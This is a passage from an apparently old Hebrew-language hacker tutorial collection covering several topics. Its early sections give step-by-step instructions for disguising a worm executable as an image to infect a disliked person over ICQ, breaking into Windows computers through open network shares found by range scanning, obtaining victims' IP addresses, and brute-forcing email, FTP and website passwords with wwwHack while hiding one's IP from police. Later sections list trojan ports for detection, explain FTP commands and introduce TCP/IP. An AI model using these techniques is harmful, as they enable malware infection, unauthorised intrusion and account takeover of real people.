‫‪ .19‬בחיים לא להיפגש עם מישהו אישית מעולם ההאקינג‬
‫‪ .20‬לא להיבלט‬

‫‪GOLGOLET‬‬

‫‪229‬‬
‫‪Faking File Transfer‬‬

‫אוקיי‪,‬‬
‫נתחיל ככה‪.‬‬
‫דבר ראשון תעלו את הקובץ הזה במסך מלא‪ ,‬ככה זה יהיה יותר מובן ומאורגן‪.‬‬

‫נגיד שאתם כל כך רציתם לדפוק ילד מה זה מניאק‪,‬‬


‫והוא כזה מניאק שלא רוצה לקבל שום קובץ‪.‬‬

‫אז הרבה אנשים אומרים‪,‬‬


‫"או שיט‪ ,‬אכלנו אותה"‬
‫ועכשיו‪ ,‬אני יוצא ואומר‪" :‬אתם לא!"‬

‫זה תרגיל מאוד פשוט‪,‬‬


‫אבל אפשר לגלות אותו‪,‬‬
‫אבל בכל זאת‪ ,‬אנשים מניאקים הם בדרך כלל גם טיפשים‪): ..‬‬
‫אז אני אסביר לכם איך עושים‪:‬‬

‫‪ =-‬זיוף שליחת קבצים באייסיקיו ובתוכנות אחרות =‪-‬‬

‫זה הולך ככה‪,‬‬


‫דבר ראשון‪ ,‬אתם צריכים לבחור קובץ *ן‪-‬ז*נה‪,‬‬
‫בואו נגיד‪ ,‬את אחת התולעים החדשות‪( ..‬מהמתקפות של ההאקרים)‪.‬‬
‫תבחרו תוכנה‪,‬‬
‫נגיד אייסיקיו‪,‬‬
‫תגידו לאיש‪:‬‬
‫"היי! תראה מה יש לי!!!!‪,‬‬
‫יש לי תמונה מה זו מצחיקה של האנאליזר בוכה בכלא!"‬
‫* הערה‪ :‬חשוב מאוד‪ ,‬אל תשכחו שהוא מניאק ומגיע לו את זה‪ ,‬אז שיאכל ת'לב המניאק *‬
‫ועכשיו‪ ,‬כשאתם יודעים שהוא הולך לקחת את הקובץ‪ ,‬אז תתחילו לשנות אותו ככה‪:‬‬
‫אתם צריכים דבר ראשון לשנות את השם של הקובץ למשהו כמו‪:‬‬
‫‪"Prison Hacker.jpg‬‬ ‫"‪.exe‬‬
‫הבנתם?‬

‫רק תשאירו את השם של התולעת שלכם לשם של התמונה‪ ,‬תעשו מ‪-‬ל‪-‬א רווחים‪ ,‬ואז ‪ ,exe.‬ככה‬
‫שישאר הקובץ במצב ‪.EXE‬‬
‫ועכשיו‪ ,‬שתשלחו לו את הקובץ‪ ,‬הוא יראה את זה כאילו זה רק ‪ Prison Hacker.jpg‬והוא לא‬
‫יודע שזה ‪!!EXE‬‬
‫חחח‬
‫עבדתם עליו‪.‬‬

‫עכשיו לחלק היותר יצירתי‪.‬‬

‫‪230‬‬
‫תורידו את התוכנה ‪MicroAngelo‬‬
‫ובתוכנה תעבדו את הסמל של הקובץ ה ‪ EXE‬לסמל של תמונה‪.‬‬
‫עכשיו‪ ,‬שהאיש יקבל את הקובץ המזוייף‪ ,‬שהוא חושב שזו תמונה‪ ,‬הוא יקבל ‪,EXE‬‬
‫ועדיין‪ ,‬תישאר לזה האייקון של התמונה‪ ,‬אז הוא יעלה את הקובץ‪ ,‬ואז המניאק חוטף "על‬
‫הפנים"‪ ,‬את הוירוס שלכם‪.‬‬
‫יפה?‬
‫אם אתם רוצים תכינו את הקובץ לפני שלא יקח לכם שנה להכין אותו ועד אז הוא כבר יצא‪.‬‬
‫אז פשוט תעבדו על אנשים מניאקים בשינויי שמות וסמלים‪.‬‬

‫‪GOLGOLET‬‬

‫פריצה ל ‪WINDOS‬‬
‫הרבה אנשים שואלים אותי איך לפרוץ למחשבים (וכמובן הם מתכוונים לווינדוס‪)...‬‬
‫‪----‬‬
‫אז במדריך הזה אני אלמד אותכם את זה ועוד כמה דברים חשובים‪.‬‬
‫המדריך יהיה כל כך מלא וכל כך מפורט ככה שאם אני אשמע תלונה אחת!!!!! באייסיקיו אני‬
‫ישתגע‪...‬‬
‫נא להיזהר!! לבטחונכם האישי!‬

‫תוכן‬

‫‪ .1‬ידע ככלי מאוד חשוב‬


‫‪ .2‬הסבר איך להתקין שיתופים‬
‫‪.3‬איך לסרוק מחשב עם שיתופים‬
‫‪ .3‬איך לפרוץ‬
‫‪ .5‬ההתעצבנות שלי‪ ...‬כי אני יודע שמישהו אחד יקום וישאל אותי משהו‪...‬‬

‫‪ \\\ .1‬ידע כללי מאוד חשוב ‪///‬‬

‫אין ניסים ונפלאות‪ .‬אתם לא יכולים לפרוץ סתם ככה למחשב פרטי של ווינדוס‬
‫בלי קובץ ובלי שיתופים‪ .‬אתם לא יכולים להשיג תוכנה שכזו עושה לכם ניסים‬
‫ואם אתם כותבים את האייפי של המחשב הקורבן ואז לוחצים על כפתור‪ ,‬פרצתם‪...‬‬
‫לווינדוס אתם יכולים לפרוץ דרך שיתופים ואלו שלא יודעים משהו גם עם טרויאנים‪...‬‬

‫‪ .2‬במדריך אני אלמד אותכם איך פורצים למחשב של ווינדוס דרך שיתופים‪.‬‬
‫זאת אומרת שאתם יכולים לפרוץ לאנשים שיש להם יענו "שכנים ברשת"‪.‬‬
‫לכן אתם לא יכולים לפרוץ לכל אחד‪ ,‬כי לא לכל אחד יש‪.‬‬
‫כשאתם פורצים דרך שיתופים זה כאילו אתם צופים במחשב שלו‪ .‬אתם ממש‬
‫רואים את התיקיות שלו ואת הכל כמו שאתם רואים את שלכם‪...‬‬
‫והכל בלי קובץ!!‬
‫ככה תלמדו לפרוץ בצורה יותר מקצועית ולא בטרויאן‪)-: ....‬‬
‫כדי לפרוץ דרך שיתופים ("שכנים ברשת") אתם צריכים להתקין גם אצליכם שיתופים‪...‬‬
‫לא לא! לא התכוונתי לקנות מחשב נוסף ולחבר בכבל למחשב השני‪...‬‬
‫טוב‪ ,‬אז איך עושים את זה?‬
‫(למי שיש כבר שכנים ברשת לא צריך לקרוא את הסעיף הזה‪)...‬‬

‫אתם צריכים את שלושת הדרייברים\פרוטוקולים\קליינטים הבאים שיהיו מותקנים‬


‫במחשב ככה שיהיה לכם שיתופים‪:‬‬

‫‪231‬‬
‫‪NetBeui‬‬
‫‪TCP/IP‬‬
‫‪Client for Microsoft network‬‬

‫תלכו ל‪>----‬מחשב שלי‪ >---‬לוח בקרה‪>----‬רשת‪.‬‬


‫תבדקו אם הדברים שצריכים ליהיות אצלכם מותקנים‪...‬‬
‫אם אחד לא נמצא ברשימה‪,‬או יותר מאחד‪ ,‬אתם צריכים להתקין את מה שחסר לכם‪.‬‬

‫איך מתקינים?‬
‫אני אפרט לכם כאן איך מתקינים כל פרט‪...‬‬

‫‪NetBEUI‬‬

‫לכן למחשב שלי‪>---‬לוח בקרה‪>---‬רשת‬


‫תלחצו על "הוספה"‪.‬‬
‫ברשימה שמופיעה לכם תלחצו על "פרוטוקול"‪.‬‬
‫תבחרו ‪ microsot‬מתוך כל הרשימה של היצרנים‪ ,‬ואז תבחרו‬
‫מתוך הרשימה של הפריטים ‪ .NetBEUI‬תלחצו אישור והכל‪...‬‬
‫עכשיו זה מתקין‪ .‬יכול ליהיות שזה יבקש את הדיסק של ‪ Windows‬אבל לפעמים לא‪.‬‬
‫גמרתם‪.‬‬

‫‪TCP/IP‬‬

‫לכל אחד כמעט יש את הפרוטוקול הזה‪...‬‬


‫אבל נו‪ .‬אני יסביר‪...‬‬
‫לכו למחשב שלי‪>----‬לוח בקרה‪>---‬רשת‪.‬‬
‫תלחצו על הוספה‪ ,‬ומתוך הרשימה שמופיעה לכם אחר כך תבחרו פרוטוקול‪.‬‬
‫תבחרו ‪ microsoft‬מתוך רשימת היצרנים ותבחרו אחר כך ‪ TCP/IP‬מתוך רשימת‬
‫הפריטים‪ .‬תלחצו אישור וכאלה ותחכו כי זה מתקין‪ .‬יכול ליהיות שזה יבקש מכם את הדיסק‬
‫של ‪ .windows‬נו יופי התקנתם זהו‪.‬‬

‫‪client for microsoft network‬‬

‫למי שיש סמל של "שכנים ברשת"‪ ,‬יש לו כבר את הפריט הזה‪....‬‬


‫אוקיי לכו למחשב שלי‪>---‬לוח בקרה‪>---‬רשת‪.‬‬
‫תלחצו על הכפתור הוספה ולאחר מכן תלחצו על "לקוח" מתוך הרשימה שבאה לכם‪.‬‬
‫תבחרו ב‪ microsoft-‬מתוך רשימת היצרנים ותבחרו ב‪client for microsoft network-‬‬
‫ברשימת הפריטים‪ .‬תלחצו אישור כמה פעמים וזה יתקין לכם‪.‬‬
‫אם זה מבקש מכם ‪ CD‬של ‪ windows‬פשוט שימו את הדיסק‪...‬‬

‫תתחילו מחדש את המחשב‪.‬‬


‫יופי התקנו את מה שאנחנו צריכים‪ ...‬עכשיו לסריקה‪:‬‬

‫‪ .3‬תורידו את התוכנה ‪ .nbtscan‬תעתיקו את כל הקבצים בזיפ לתיקיית ווינדוס‪.‬‬

‫‪232‬‬
‫תפתחו את דוס ותרשמו ‪.nbtscan 213.57.123.1-255‬‬
‫מה שזה עושה זה סורק שיתופים מ‪ 213.57.123.1-‬ועד ל‪.213.57.123.255-‬‬
‫ככה שזה בטוח ימצא לכם הרבה דברים‪...‬‬
‫מופיעה לכם מין טבלה‪.‬‬
‫תחפשו מחשב שכתוב ליד השם שלו <‪! >server‬וגם! שמצד הימני ל‪ >server<-‬לא יהיה‬
‫רשום ‪.unknown‬‬
‫כלומר אתם צריכים לחפש מחשב בטבלה שנראה ככה‪:‬‬
‫‪LIRON <server> LIRON‬‬
‫ולא‬
‫‪LIRON‬‬ ‫>‪<server‬‬ ‫‪unknown‬‬

‫אז יופי אחרי שתמצאו מחשב כזה תעברו לשלב הבא‪...‬‬

‫‪ .4‬תשיגו מחשב עם שיתופים בעזרת סריקה שלמדנו מקודם איך לבצע אותה‬
‫תפתחו מסמך טקסט בתיקיית ווינדוס שנקרא ‪hosts.txt‬‬
‫תלכו להתחל‪>----‬הפעלה‪.‬‬
‫תרשמו שם ‪.hosts.txt‬‬
‫במסמך הטקסט תרשמו משמאל לימין את האיי פי של המחשב המשותף‪.‬‬
‫תשמרו את המסמך‪.‬‬
‫תלכו להתחל‪>---‬חפש‪>---‬מחשב‪.‬‬
‫תרשמו שם את האייפי של המחשב הקורבן והמשותף‪.‬‬
‫אחרי כמה זמן זה ימצא לכם מחשב‪...‬‬
‫תלחצו פעמיים על המחשב וזה יפתח לכם את כל הדברים‬
‫המשותפים במחשב שלו‪ ...‬גדול לא?‬

‫יופי סוף סוף הצלחתם‪...‬‬

‫‪ .5‬עכשיו אני מתעצבן מראש כי אין לי כח לחכות עד שעוד‬


‫פעם יפריעו לי‪ ...‬טוב לא משנה‪.‬‬

‫‪GOLGOLET‬‬

‫‪233‬‬
‫איך להשיג איי פי של אנשים דרך האייסיקיו‬

‫‪ .1‬תעשו ‪ chat‬איתם‬
‫‪ .2‬תיכנסו לדוס‪ ,‬תרשמו ‪netstat -n‬‬
‫‪ .3‬זה נותן לכם רשימה של איי פי‪ .‬תבחרו את האיי פי שהפורט‬
‫שלו הוא לא ‪ 80‬או ‪ .21‬האיי פי שבחרתם הוא כנראה האיי פי של‬
‫הקורבן‪.‬‬

‫‪GOLGOLET‬‬
‫שיטה שניה‬
‫להוריד את התוכנה‬

‫‪IP Detector‬‬
‫ב‪:‬‬
‫‪http://www.reshet3000.com/ipdet.exe‬‬

‫‪HFM‬‬

‫‪234‬‬
‫ניהול קבצים ב‪ FTP-‬דרך דוס‬
‫המדריך הנוכחי שאני מציג לכם הוא מאוד מקורי ובשום‬
‫אתר שאני מכיר לא מדברים על זה‪...‬‬
‫ככה שבאמת יתווסף לכם ידע חדש‪...‬‬

‫במדריך זה נלמד ליהיות תוכנת ‪ :FTP‬למשל כמו ‪ CuteFtp‬ו‪.WS_FTP-‬‬


‫ממש נעשה מה שהם עושים ‪ -‬רק ידנית‪.‬‬

‫אוקיי‪...‬‬
‫נגיד שיש לכם אתר ב‪ ...‬ממממ‪.IOL ...‬‬
‫ואתם רוצים להעלות את הקבצים של האתר שלכם ל‪.FTP-‬‬
‫אבל יש בעייה!!‬
‫כל התוכנות של ה‪ FTP-‬שהשתמשתם בהם (נגיד‪ )...‬נגמרו כי עבר ‪ 30‬יום!‬
‫אז מה עושים?‬

‫פותחים את ‪ ,MS DOS Prompt‬מגיעים לתיקייה של האתר בדוס ע"י שימוש בפקודה ‪.CD‬‬
‫למשל אם התיקייה של האתר שלכם במחשב היא‪:‬‬
‫‪c:\mysite‬‬
‫אז תרשמו בדוס‬
‫(תעשו ‪ Ctrl+Shift‬בצד השמאלי של המסך לצפייה נכונה)‬

‫‪>cd c:\ <enter‬‬


‫‪>cd mysite <enter‬‬

‫אוקיי עכשיו אתם בתיקייה של האתר שלכם‪...‬‬

‫תרשמו ככה‪:‬‬

‫‪ftp server.com‬‬

‫זאת אומרת שאם האתר שלכם הוא ב‪ IOL-‬אז תרשמו ככה‪:‬‬

‫‪ftp members.iol.co.il‬‬

‫אוקיי זה עכשיו מבקש מכם שם משתמש?‬


‫שימו את השם משתמש שלכם לאתר‪.‬‬

‫‪235‬‬
‫עכשיו זה מבקש סיסמא‪:‬‬
‫תרשמו את הסיסמא שלכם ותלחצו אנטר‪.‬‬
‫אם עשיתם נכון זה אמור להודיע לכם ובסופו של דבר‬
‫יש לכם משהו כזה‪:‬‬
‫<‪>ftp‬‬
‫נכון?‬
‫אוקיי‪...‬‬

‫תעשו ‪ dir‬כדי לראות מה יש לכם בכלל בתיקיית ‪.FTP‬‬


‫יש לכם פירוט מלא‪:‬‬
‫גודל הקובץ בדיוק‬
‫מספר הקובץ‬
‫ושם הקובץ‬

‫מידע טוב‪.‬‬

‫עכשיו איך מעלים?‬

‫רושמים‬
‫‪put index.html‬‬

‫סתם לדוגמא‪...‬‬
‫אתם יכולים גם לשים‬

‫‪put blabla.zip‬‬

‫או כל קובץ אחר‪...‬‬

‫אבל אתם רוצים להוריד את ‪index.html‬‬


‫מה‪ .FTP-‬אפילו סתם ככה‪: .......‬‬

‫‪get index.html‬‬

‫זה אמור להוריד את הקובץ לתייקייה של האתר שלכם‪.‬‬


‫עכשיו איך עושים ריניים? (‪??)rename‬‬

‫רושמים ככה‪:‬‬

‫‪>rename index.html<enter‬‬
‫‪main.html‬‬

‫ככה זה משנה את השם מ ‪index.html -‬‬


‫ל‪main.html-‬‬

‫איך למחוק קבצים מה‪?FTP-‬‬


‫מוחקים ככה‪:‬‬

‫‪delete index.html‬‬

‫‪236‬‬
‫כדי לעבור לתיקייה אחרת ב‪FTP-‬‬
‫פשוט תשתמשו בפקודה ‪....cd‬‬

‫אוקיי עכשיו אתם יודעים להעלות קבצים‪,‬למחוק קבצים‪ ,‬לשנות את השם של הקבצים‪,‬‬
‫לעבסור לתיקיות רצויות‪.‬‬
‫יופי‪.‬‬
‫עכשיו אני אלמד אותכם עוד פקודות‪...‬‬

‫‪ - help‬נותן מידע על כל הפקודות שניתן להשתמש בשרת‬


‫‪ -dir‬משנה תיקייה‬
‫‪ -rmdir‬משנה שם של תיקייה לשם אחר‬
‫‪ -quit‬יוצא מה‪FTP-‬‬
‫‪ -mput‬להעלות כמה קבצים ביחד‬
‫‪ -mdelete‬למחוק כמה קבצים ביחד‬
‫‪ -mget‬להוריד כמה קבצים ביחד‬
‫‪ -mkdir‬ליצור תיקייה‬
‫‪ -disconnect‬להתנתק‬
‫‪ -ls‬רשימה של קבצים באותו ‪FTP‬‬

‫‪GOLGOLET‬‬

‫‪237‬‬
‫שימוש בכוח ברוטלי ב‪ wwwHack-‬כדי לפרוץ לאתרים‪,‬‬
‫שרתי ‪ FTP‬ולקוחות דואר אלקטרוני‬

‫הטקסט נכתב בעקבות בקשות גולשים רבות‪...‬‬


‫לכן כתבתי את הטקסט‪ ,‬למרות שאני חושב שזה די טפשי‬

‫כלים‪:‬‬

‫‪ .1‬שכל‬
‫‪wwwHack .2‬‬
‫‪ .3‬קריאה והבנת הטקסט על כוח ברוטלי‬

‫תוכן‪:‬‬

‫‪ .1‬שימוש בסיסי בתוכנה ‪wwwHack‬‬


‫‪ .2‬אפשרויות נוספות ב‪wwwHack-‬‬
‫‪ .3‬מאיפה מורידים את התוכנה‬

‫‪ .1‬אחרי שאתם מורידים את התוכנה‪ ,‬תפתחו אותה‪.‬‬


‫בואו נראה מה יש לכם‪....‬‬
‫יש בתוכנה תפריט ‪.file,access,options,tools,help‬‬
‫בוא נעבור אחד אחד ונראה מה האפשרויות הכלולות בתוכן‪...‬‬

‫‪ - file‬כולנו מכירים את התפריט הזה לכן אגיד לכם רק האפשרויות‬


‫המיוחדות לתוכנה בתפריט‪:‬‬
‫‪ -site list‬שם נשמרים כל הסיסמאות שהתוכנה כבר מצאה‪ ,‬כך תוכלו להיזכר בסיסמאות‬
‫שמצאתם ושכחתם‪.‬‬
‫‪ - misc goodies--->attack server‬נותן אפשרות גם לתקוף את השרת‪...‬‬

‫‪ - access‬זה כל מה שחשוב בתוכנה‪ .‬כאן אתם יכולים לבחור איפה אתם רוצים לבצע את הכח‬
‫הברוטלי‬
‫ואיזה סוג של שרת אתם רוצים להתקיף‪.‬‬

‫‪238‬‬
‫‪ - POP3‬נותן לכם אפשרות לגלות סיסמאות דואר אלקטרוני של אנשים‪.‬‬
‫תלחצו על האפשרות הזו‪ .‬יש לכם שם תיבת טקסט‪ ,‬שבה אתם רושמים את‬
‫שרת הדואר שמאחסן את תיבת הדואר של הקורבן‪ .‬תרשמו את השרת‪.‬‬
‫יש לכם עוד משהו לעשות‪ ...‬באגף ‪ username‬תבחרו באפשרות ‪always use this‬‬
‫‪.:username‬‬
‫אם הדואר של הקורבן הוא ‪ ,niv@zahav.net.il‬תרשמו בתיבה שמופיעה לכם‬
‫אחרי שבחרתם באפשרות‬
‫"תמיד תשתמש בשם המשתמש הבא"‪ :‬תרשמו שם ‪.niv‬‬
‫באגף ה‪ password-‬תבחרו בפעם הראשונה באפשרות ‪.read from this file‬‬
‫תלחצו אישור‪ .‬תראו שזה תהליך שמתקדם לא איטי כל כך‪....‬‬
‫כי השתמשנו באפשרות ‪ ,read from this file‬שזה אומר שהוא מנסה שמות‬
‫משתמש ממסמך טקסט‪.‬‬
‫אם זה הצליח למצוא‪ ,‬זה אמור להודיע לכם‪ .‬אם לא‪ ,‬תשובו ותבחרו באפשרות‬
‫‪ all possible combinations‬באגף ה‪ .password-‬עכשיו תלחצו אישור‪.‬‬
‫תהליך זה יכול לקחת הרבה שעות ואפילו כמה ימים‪ ,‬כי זה מנסה את כל‬
‫האפשרויות‬
‫שאפשר לכתוב בסיסמא (!!)‪ .‬בסופו של דבר זה ימצא לכם את הסיסמא‪.‬‬
‫אז תפתחו חשבון ב‪ outlook-‬או תוכנת דואר אחרת‪ ,‬עם הסיסמא שבחרתם‪....‬‬
‫ככה שהדואר שישלחו לקורבן‪ ,‬יגיע אליכם‪ ....‬נחמד לא?‬

‫‪ - FTP server‬ממש כמו האפשרות הקודמת‪ ....‬רק שהפעם אתם רושמים ב‪ host-‬את‬
‫שרת ה‪ FTP-‬שאליו אתם רוצים להיכנס‪...‬‬
‫ואם נגיד אתם רוצים לפרוץ לאתר ב‪ ,IOL-‬שכתובתו היא‪:‬‬
‫‪members.iol.co.il/avi‬‬
‫אז תרשמו ב‪ hosts-‬את הכתובת‪ members.iol.co.il :‬ובאגף ה‪username-‬‬
‫תרשמו ‪.avi‬‬
‫השאר בדיוק כמו ההסבר הקודם של ה‪.pop3-‬‬

‫‪ - HTML form‬זו השיטה המועדפת עלי כדי לגלות סיסמא של אתרים‪ .‬הכנה‬
‫מוקדמת‪:‬‬
‫אם אתם רוצים לגלות את הסיסמא של אתר ב‪ ,homestead-‬תיכנסו ל‪-‬‬
‫‪,homestead‬‬
‫ותעתיקו את הלינק של דף ה‪.login-‬‬
‫תיכנסו לאפשרות ‪ HTML form‬בתפריט ‪ ,access‬ושם תדביקו את הכתובת‬
‫שמקודם העתקתם‪-‬‬
‫הכתובת לדף ה‪ .login-‬תלחצו על ‪.click here to get automaticly info‬‬
‫אחרי שזה כותב לכם משהו בתיבות הטקסט‪ ,‬תלחצו אישור‪ .‬עכשיו זה מוביל‬
‫אותכם לחלון‬
‫המוכר שב‪ ftp-‬וב‪ pop3-‬השתמשנו בו‪ .‬אם ה‪ username-‬של האתר הוא‬
‫‪ ,kaka‬תרשמו ‪ kaka‬באגף‬
‫ה‪ .username-‬ואז אתם יודעים כבר מה לעשות לפי המשימות הקודמות‪....‬‬

‫‪ - HTTP basic‬תלחצו על אפשרות זו אם יש לכם אתר שמופיע מן חלון של ווינדוס‬


‫ומבקש סיסמא‪.‬‬
‫אתם יודעים מה לעשות לפי המשימות הקודמות‪.‬‬

‫‪ .2‬וואו‪ .........‬איזו הקלה‪.‬‬


‫טוב נעבור עכשיו לאפשרויות אחרות בתוכנה‪.‬‬

‫‪239‬‬
‫בחירת התווים האפשריים לביצוע הכוח הברוטלי‪:‬‬

‫תלחצו על תפריט ‪ .options‬שם יש אפשרות של ‪.character set‬‬


‫תבחרו בה‪ .‬הנה אתם רואים את כל התווים שהוא מנסה בכוח הברוטלי‪.‬‬
‫אני ממליץ להוסיף את התו "‪ "-‬ואת התו "_"‪.‬‬

‫זיוף איי פי‬

‫אפשרות זו מאוד חשובה ככה שהשרת לא ידע‬


‫מי אתם ולא יתלונן למשטרה אם הוא מבין שאתם מנסים לפצח את הסיסמא‪.‬‬
‫איך עושים את זה?‬

‫נכנסים לאפשרות ‪ network options‬בתפריט ‪.options‬‬


‫שם יש תג ששמו ‪ .hide IP‬תיכנסו אליו ותרשמו שם ‪0.0.0.0‬‬
‫האפשרות הזו מותרת רק לגירסה מלאה ורשומה של התוכנה‪.‬‬

‫‪ .3‬מאיפה מורידים את התוכנה?‬

‫מהלינק הבא‪:‬‬

‫‪http://packetstorm.securify.com/Crackers/wwwhack.zip‬‬

‫תורידו משם‪ .‬זו הגרסה הלא נעולה‪ .‬תפתחו קודם את הקובץ ‪ patch‬ואז‬
‫תלחצו על ‪.wwwHack‬‬
‫את הקראק חפשו ב‪ ,www.astalavista.box.sk-‬אתם תמצאו שם‪.‬‬

‫‪GOLGOLET‬‬

‫‪240‬‬
‫איך אפשר לגלות שיש עליך טרויאן בדרך מקצועית‪ ,‬אפילו שהאנטי וירוס לא‬
‫מזהה‪...‬‬

‫מה זה בעצם טרויאן?‬


‫‪-------------------‬‬

‫לא לא‪ ....‬אני לא חושב שאתם לא יודעים מה זה טרויאן‪,‬‬


‫רק אני אסביר את מה שזה באמת עושה‪...‬‬

‫הטרויאן פותח פורט מסוים ‪ -‬כל טרויאן והפורט שלו‪.‬‬


‫דרך אותו פורט נכנס ליימר שחושב שהוא האקר ושולט לנו על המחשב‪.‬‬
‫הטרויאן בעצם מפלס דרך לליימרים ‪ -‬כמו שהוא יוצר מנהרה כזו ששם יש‬
‫אוטוסטרדה של אידיוטים‪.‬‬

‫איך אפשר לדעת שיש טרויאן מופעל על המחשב??‬


‫‪-----------------------------------------‬‬

‫כפי שאמרנו הטרויאן פותח פורטים‪ ,‬והוא יוצר תקשורת עם מחשב מסוים‪.‬‬
‫עכשיו אני אלמד אותם פקודה נחמדה‪...‬‬

‫תכנסו ל‪ >---‬התחל ‪ >----‬תוכניות ‪ >----‬הפנייה ל ‪MS DOS\ Ms Dos prompt‬‬


‫בקיצור‪ ...‬דוס‪.‬‬

‫תוודאו שאתם מחוברים לאינטרנט וגם שאתם בתיקייה ‪ C:\Windows‬או בתיקייה של ווינדוס‬
‫אחרת‪...‬‬
‫אוקיי‪...‬‬
‫תקלידו את הפקודה הבאה‪:‬‬
‫‪netstat -a‬‬

‫מה הפקודה עושה??‬


‫הפקודה מראה את כל ההתקשרויות של המחשב עם מחשב אחר‪ ,‬ואת הפורטים שאליהם אנו‬
‫מחוברים‪.‬‬

‫זה נראה בערך כך‪:‬‬

‫‪Proto Local Address Forigine Address State‬‬

‫‪241‬‬
‫‪TCP‬‬ ‫‪bla:138 bla:0‬‬ ‫‪listening‬‬

‫‪TCP‬‬ ‫‪bla:137 bla:0‬‬ ‫‪listening‬‬

‫‪TCP‬‬ ‫‪bla:31337 bla:0‬‬ ‫‪listening‬‬


‫‪-------‬‬

‫‪TCP‬‬ ‫‪bla:1025 bla:0‬‬ ‫‪listening‬‬

‫וכל מיני כאלה‪...‬‬


‫אבל!!!‬

‫תראו!‬
‫יש לנו פורט ‪ 31337‬פתוח!!‬
‫ומה זה אומר?‬
‫יש לנו פורט של ‪ BackOrifice‬פתוח!‬
‫זאת אומרת שיש לנו ‪ BackOrifice‬על המחשב!‬
‫יופי‪...‬‬
‫עכשיו נחסל אותו‪...‬‬

‫הנה‪ .‬תפסנו את הממזר הקטן‪.‬‬


‫מצאנו טרויאן על המחשב בלי עזרה של פיירוול\אנטי וירוס‪.‬‬

‫רשימה של הפורטים של הטרויאנים הנפוצים‪:‬‬


‫עוזר מאוד!!!‬

‫‪---------------------------------------‬‬
‫‪The tHing‬‬
‫‪6000‬‬

‫‪NetBus 1.x‬‬
‫‪12345‬‬

‫‪)NetBus 1.x (avoiding Netbuster‬‬


‫‪12346‬‬

‫‪NetBus Pro‬‬
‫‪20034‬‬

‫‪BackOriffice‬‬
‫‪31337‬‬

‫‪SubSeven‬‬
‫‪1243‬‬

‫‪NetSphere‬‬
‫‪30100‬‬

‫‪Deep Throath‬‬
‫‪6670‬‬

‫‪242‬‬
Master Paradise
31

Silencer
1001

Millenium
20000

Devil 1.03
65000

NetMonitor
7306

Streaming Audio Trojan


1170

Socket23
5000

Socket25
30303

Gatecrasher
6969

Telecommando
61466

Gjamer
12076

IcqTrojen
4950

Priotrity
16969

Vodoo
1245

Wincrash
5742

Wincrash2
2583

Netspy

243
1033

ShockRave
1981

Stealth Spy
555

Pass Ripper
2023

Attack FTP
666

GirlFriend
21554

Fore
50766

)DeltaSource (DarkStar
6883

Tiny Telnet Server


34324

Kuang
30999

SennaSpyTrojans
11000

Backdoor
1999

WebEx
1001

UglyFtp
23456

TrojanCow
2001

TheSpy
40412

Striker
2565

244
Silencer
1001

RoboHack
5569

RemoteWindowsShutdown
53001

Prosiak 0.47
22222

ProgenicTrojan
11223

PortalOfDoom
9872

InIkiller
9989

IcqTrojan
4950

BladeRunner
5400

)Wingate (Socks-Proxy
1080

subseven
27374

dolly1.6
1016

dolly1.5
1015

GOLGOLET

245
‫‪tcp\ip‬‬

‫ראשי התיבות של ‪ tcp\ip‬מתייחסים למשפחה גדולה של פרוטוקולים העובדים יחדיו‬


‫היום כמעט כל רשתות התקשורת עובדות על ‪tcp\ip‬‬

‫תקשורת ‪ tcp/ip‬כללית‬

‫כל מחשב המקושר באמצעות תקשורת ‪ tcp\ip‬נקרא מחשב מארח (‪)host‬‬

‫מחשב מארח יכול להיות שרת (‪ - )server‬שרת ממתין לבקשות ממחשבים מארחים אחרים‬
‫מציית לפקודות ומגיב עם נתונים או שלא מגיב‬

‫מחשב מארח יכול להיות לקוח (‪ - )client‬לקוח שולח בקשות אל שרת לצורך ביצוע פעולה‬
‫לדוגמא‪:‬‬
‫המחשב שלכם שאתם קוראים ממנו את הטקסט הזה הוא לקוח‬
‫המחשב שלכם מגיש בקשת ‪ get‬לשרת ‪ web‬השרת נותן לו קוד‬
‫והדפדפן שלכם מתרגם את הקוד לדפי ‪ html‬או ‪ asp‬או כל שפה‬

‫מחשב מארח יכול להיות נתב (‪ - )router‬התפקיד של הנתב הוא לבחון את כתובות היעד של‬
‫הודעות נכנסות‬
‫ולשלוח אותן למחשב הנכון‪-‬זה יכול להיות היעד הסופי או מחשב מקשר אחר‬
‫דוגמא‪:‬‬
‫פתחו חלון דוס והקישו‬
‫‪tracert yahoo.com‬‬
‫מה קרה?‬
‫המחשב שלכם הראה את רשימת כל המחשבים שהמחשב שלכם עובר כדי להגיע ליעד הסופי‬
‫כל אלא הם נתבים חוץ מהאחרון שהוא היעד הסופי‬

‫מחשב מארח יכול להיות מקשר לרשת (‪ - )gateway‬התפקיד של מחשב מקשר לרשת הוא‬

‫‪246‬‬
‫להעביר הודעות הלוך ושוב בין רשתות שאינן שקושרות בדרך אחרת‬
‫לעיתים קרובות רשתות אלה משתמשות בפרוטוקולים ו\או טכנולוגיות שונות‬

‫כתובת ‪ip‬‬

‫‪ip - internet protocol‬‬


‫לכל מחשב מארח יש כתובת ‪ ip‬מיוחדת‬
‫כתובת ‪ ip‬היא מספר בן ‪ 32‬סיביות בטח אתם רגילים לכתובות כמו‬
‫‪ yahoo.com‬וכו' אבל שמות אלה משמשות רק כדי לחפש את הכתובות האמיתיות‪ ,‬מספרי‬
‫האייפי‬

‫כתובת ‪ ip‬מוצגת ונכתבת בדרך כלל כ ‪ 4‬מספרים עשרוניים‪:‬‬

‫‪212.32.9.231‬‬
‫המספר הכי גבוה בכל מספר הוא ‪255‬‬

‫יש שני סוגים של כתובות ‪ip‬‬


‫‪ .1‬כתובת אייפי סטטית ‪ -‬כתובת אייפי קביעה שהיא רק שלכם תצטרכו להגדיר אותה לפני‬
‫שאתם מתחברים לאינטרנט פעם השתמשו בכתובות כאלה היום‪ ,‬תצטרכו לשלם סכום נוסף‬
‫לספק שלכם‬
‫כדי לקבל אייפי סטטי‬
‫‪ .2‬אי פי דינאמי ‪ -‬כתובת אייפי דינאמית היא כתובת שניתנת ברגע שאתם מתחברים לאינטרנט‬
‫לספק יש רשימה של כתובות אייפי‪ ,‬וברגע שאתם מתחברים לשרת אתם מקבלים אחת‬
‫ברגע שאתם מתנתקים האייפי חוזר לרשימת כתובות האייפי של הספק כדי שמשתמש אחר‬
‫יוכל‬
‫להשתמש בכתובת‬

‫מספר היציאה ‪port -‬‬

‫כתובת אייפי מספיקה לאיתור מחשב‪ ,‬היא דרושה גם לצורך איתור יישום מסויים במחשב‬
‫לדוגמא‪ ,‬אם ההודעה הנכנסת היא בקשה לדף אינטרנט אז יש לנתב את כתובת האייפי‬
